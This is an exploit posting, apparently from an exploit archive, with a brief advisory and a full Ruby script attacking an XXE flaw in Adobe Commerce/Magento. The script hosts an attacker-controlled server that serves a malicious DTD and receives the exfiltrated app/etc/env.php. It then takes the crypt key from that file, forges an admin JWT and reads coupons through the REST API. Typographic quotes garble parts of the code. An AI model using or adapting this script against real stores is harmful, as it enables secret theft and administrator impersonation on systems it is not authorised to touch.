Headline
Adobe Commerce / Magento Open Source XML Injection / User Impersonation
Adobe Commerce and Magento Open Source are affected by an XML injection vulnerability that could result in arbitrary code execution. An attacker could exploit this vulnerability by sending a crafted XML document that references external entities. Exploitation of this issue does not require user interaction. Versions Affected include Adobe Commerce and Magento Open Source 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8, and earlier. This exploit uses the arbitrary file reading aspect of the issue to impersonate a user.
#!/usr/bin/env ruby -W0
require ‘bundler’
Bundler.require(:default)
DEBUG = false
USE_PROXY = false
PROXY_ADDR = ‘127.0.0.1’
PROXY_PORT = 8080
def debug(msg)
puts msg.inspect if DEBUG
end
def rand_text(length = 8)
random string generator
o = [(‘a’…’z’), (‘A’…’Z’)].map(&:to_a).flatten
(0…length).map { o[rand(o.length)] }.join
end
def dtd_param_name
@dtd_param_name ||= rand_text()
end
def ent_eval
@ent_eval ||= rand_text()
end
def leak_param_name
@leak_param_name ||= rand_text()
end
def remote_addr
@remote_addr ||= “http://#{@srv_host.host}:#{@srv_host.port}”
end
def http
@http ||= begin
http = if USE_PROXY
Net::HTTP.new(@target_uri.host, @target_uri.port, PROXY_ADDR, PROXY_PORT)
else
Net::HTTP.new(@target_uri.host, @target_uri.port)
end
if @target_uri.port == 443 || @target_uri.to_s.match(%r{http(s).*})
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
http.set_debug_output($stderr) if DEBUG
http
end
end
def make_xxe_dtd
filter_path = ‘php://filter/convert.base64-encode/resource=…/app/etc/env.php’
ent_file = rand_text()
%(
<!ENTITY % #{ent_file} SYSTEM "#{filter_path}">
<!ENTITY % #{dtd_param_name} "<!ENTITY #{ent_eval} SYSTEM '#{remote_addr}/?#{leak_param_name}=%#{ent_file};’>">
)
end
def xxe_xml_data()
param_entity_name = rand_text()
xml = “<?xml version=’1.0’ ?>”
xml += “<!DOCTYPE #{rand_text()}”
xml += '['
xml += " <!ELEMENT #{rand_text()} ANY >"
xml += " <!ENTITY % #{param_entity_name} SYSTEM '#{remote_addr}/#{rand_text}.dtd’> %#{param_entity_name}; %#{dtd_param_name}; "
xml += ']'
xml += “> <r>&#{ent_eval};</r>”
xml
end
LIBXML_NOENT = 2
LIBXML_PARSEHUGE = 524288
def xxe_request()
debug(‘Sending XXE request’)
signature = rand_text().capitalize
post_data = {
"address": {
"#{signature}": rand_text(),
"totalsCollector": {
"collectorList": {
"totalCollector": {
"\u0073\u006F\u0075\u0072\u0063\u0065\u0044\u0061\u0074\u0061": {
"data": xxe_xml_data(),
"options": LIBXML_NOENT|LIBXML_PARSEHUGE
}
}
}
}
}
}.to_json
req = Net::HTTP::Post.new(‘/rest/V1/guest-carts/1/estimate-shipping-methods’)
req.body = post_data
req.content_type = ‘application/json’
req.user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)'
res = http.request(req)
raise RuntimeError, “Server returned unexpected response” unless res&.code == ‘400’
body = JSON.parse(res.body)
raise RuntimeError, “Server returned unexpected response” unless body[‘parameters’][‘fieldName’] == signature
end
TARGET_USER_ID = 1
USER_TYPE_INTEGRATION = 1;
USER_TYPE_ADMIN = 2;
USER_TYPE_CUSTOMER = 3;
USER_TYPE_GUEST = 4;
def jwt_encode(key, algorithm = ‘HS256’)
def pad_key(key, total_length, pad_char)
left_padding = (total_length - key.length) / 2
right_padding = total_length - key.length - left_padding
pad_char * left_padding + key + pad_char * right_padding
end
header = {
kid: "1",
alg: “HS256”
}
payload = {
uid: TARGET_USER_ID,
utypid: USER_TYPE_ADMIN,
iat: Time.now.to_i, # Token issue time’,
exp: Time.now.to_i + 10 * 24 * 60 * 60, # Token expiration time
}
def base64_url_encode(str)
Base64.urlsafe_encode64(str).tr('=’, ‘’)
end
padded_key = pad_key(key, 2048, ‘&’)
encoded_header = base64_url_encode(header.to_json)
encoded_payload = base64_url_encode(payload.to_json)
Create the signature
data = “#{encoded_header}.#{encoded_payload}”
signature = OpenSSL::HMAC.digest(OpenSSL::Digest.new(‘sha256’), padded_key, data)
encoded_signature = base64_url_encode(signature)
Combine the header, payload, and signature to form the JWT
“#{encoded_header}.#{encoded_payload}.#{encoded_signature}”
end
def exploit()
begin
puts “Starting web server…”
body = make_xxe_dtd()
file_content = nil
file_content_reader, file_content_writer = IO.pipe
WEBrick::HTTPRequest.const_set("MAX_URI_LENGTH", 10240)
wbserver_options = {
:BindAddress => '0.0.0.0’,
:Port => @srv_host.port,
:Logger => WEBrick::Log.new($stderr, WEBrick::Log::DEBUG),
:AccessLog => [],
# :RequestTimeout => 300, # Increase request timeout
# :RequestMaxUriLength => 100240 # Increase max URI length
}
wbserver_options[:Logger] = WEBrick::Log.new(“/dev/null”) unless DEBUG
pid = Process.fork do
file_content_reader.close
server = WEBrick::HTTPServer.new(wbserver_options)
server.mount_proc '/' do |req, res|
if req.path =~ /\.dtd$/
res.body = body
elsif req.query_string.match(/#{leak_param_name}=(.*)/)
file_content = Base64.decode64(Regexp.last_match(1))
# puts "Received leaked file content:\n#{file_content}"
file_content_writer.puts file_content
else
res.body = 'OK'
end
end
trap("INT") do
server.shutdown
file_content_writer.close
end
server.start
end
sleep(1)
xxe_request()
file_content_writer.close
begin
# Set a timeout for reading from the pipe
Timeout.timeout(5) do # 5 seconds timeout, adjust as necessary
file_content = file_content_reader.read_nonblock(10000) # Adjust the size as necessary
end
rescue Timeout::Error
puts "Reading from pipe timed out."
rescue EOFError
puts "End of file reached."
ensure
file_content_reader.close
end
# Use file_content as needed here
if file_content
# puts "Successfully read file content:\n#{file_content}"
key = file_content.match(/'key' => '(.*)'/)[1]
if key
debug "Found key: #{key}"
jwt = jwt_encode(key)
puts "Generated JWT: #{jwt}"
puts("Sending request with JWT to coupons endpoint")
# Perform authenticated request to a admin endpoint
res = http.request(Net::HTTP::Get.new('/rest/default/V1/coupons/search?searchCriteria=', {'Authorization' => "Bearer #{jwt}"}))
raise RuntimeError, "Server returned unexpected response" unless res&.code == '200'
puts "Available coupons:"
puts JSON.pretty_generate(JSON.parse(res.body))
else
puts "Failed to extract key from file content."
end
else
puts "Failed to read file content or content is empty."
end
puts "Exploit completed"
rescue RuntimeError => e
puts “#{e.class} - #{e.message}”
ensure
if pid
Process.kill("INT", pid)
Process.wait(pid)
end
end
end
if FILE == $0
@target_uri = URI.parse(ARGV[0])
@srv_host = URI.parse(ARGV[1])
exploit()
end